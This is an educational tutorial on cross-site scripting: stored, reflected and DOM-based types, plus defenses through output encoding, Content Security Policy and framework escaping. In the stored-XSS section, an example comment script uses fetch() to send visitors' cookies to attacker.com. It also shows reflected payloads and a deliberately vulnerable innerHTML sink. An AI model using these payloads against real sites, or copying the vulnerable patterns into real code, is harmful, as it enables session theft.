JavaScript That Isn't Yours Running in Your Browser
Cross-Site Scripting (XSS) is a type of injection where the target interpreter is not a database or a shell — it's the victim's web browser. The attacker injects malicious JavaScript into a web page. When another user views that page, their browser executes the script in the context of the legitimate site, with full access to that site's cookies, session tokens, and DOM.
The name is historical and slightly misleading. Modern XSS doesn't always involve "cross-site" behavior in the traditional sense. What matters is: untrusted data rendered as executable HTML/JavaScript in a browser.
Three Types of XSS
1. Stored XSS (Persistent)
The malicious script is saved to the server (in a database, comment field, user profile) and served to every user who views that content.
# Attacker posts this as a blog comment:
Great article! <script>
fetch('https://attacker.com/steal?c=' + document.cookie);
</script>
# Every visitor to that blog post now sends their session cookie to the attacker.
This is the most dangerous form because it affects all users automatically, without requiring them to click a link.
2. Reflected XSS (Non-Persistent)
The malicious script is embedded in a URL. The server reflects it back in the response without storing it. The attacker must trick the victim into clicking the crafted URL.
# Vulnerable search page echoes the query parameter directly:
https://shop.com/search?q=<script>alert(document.cookie)</script>
# The server responds with:
<p>Results for: <script>alert(document.cookie)</script></p>
3. DOM-Based XSS
The vulnerability exists entirely in client-side JavaScript. The server response is safe, but the browser's own scripts read attacker-controlled data (from the URL fragment, localStorage, etc.) and write it to the DOM unsafely.
// VULNERABLE: Reads from URL hash and writes to DOM without sanitization
document.getElementById('output').innerHTML = location.hash.substring(1);
// Attacker sends: https://site.com/page#<img src=x
The Fix: Output Encoding and Content Security Policy
Output Encoding is the primary defense. Before rendering any user-supplied data as HTML, convert special characters into their HTML entity equivalents. The browser then displays them as text rather than interpreting them as markup.
| Character | HTML Entity | Effect |
|---|---|---|
< |
< |
Displayed as <, not parsed as tag start |
> |
> |
Displayed as >, not parsed as tag end |
" |
" |
Safe inside HTML attributes |
' |
' |
Safe inside HTML attributes |
& |
& |
Prevents entity injection |
# VULNERABLE
return f"<p>Welcome, {username}</p>"
# SECURE (Python's html module)
import html
return f"<p>Welcome, {html.escape(username)}</p>"
# If username = "<script>alert(1)</script>"
# Output: <p>Welcome, <script>alert(1)</script></p>
# Browser displays the text, does not execute it.
Content Security Policy (CSP) is a defense-in-depth HTTP response header that instructs the browser to only execute scripts from approved sources. Even if an attacker injects a <script> tag, the browser refuses to run it if it violates the policy.
# HTTP Response Header
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.mysite.com; object-src 'none';
This policy tells the browser: "Only load scripts from this same origin or cdn.mysite.com. Block everything else — including inline scripts." A well-configured CSP can neutralize XSS even when encoding is missed.
A common interview question is: "What's the difference between Stored and Reflected XSS, and which is more dangerous?" The answer: Stored XSS is generally more dangerous because it's persistent — every user who views the affected page is automatically attacked without any interaction. Reflected XSS requires the attacker to deliver a crafted URL to each victim individually (usually via phishing). However, DOM-based XSS is increasingly relevant in single-page applications and can be harder to detect because the vulnerability exists in client-side code that static scanners may miss.
Key Point: Modern JavaScript frameworks like React, Angular, and Vue escape output by default — {username} in JSX is safe. The danger zone is when developers bypass these protections using dangerouslySetInnerHTML (React), [innerHTML] binding (Angular), or v-html (Vue). These APIs exist for legitimate reasons but are XSS injection points if they receive unsanitized user data. Code reviews should flag every use of these APIs.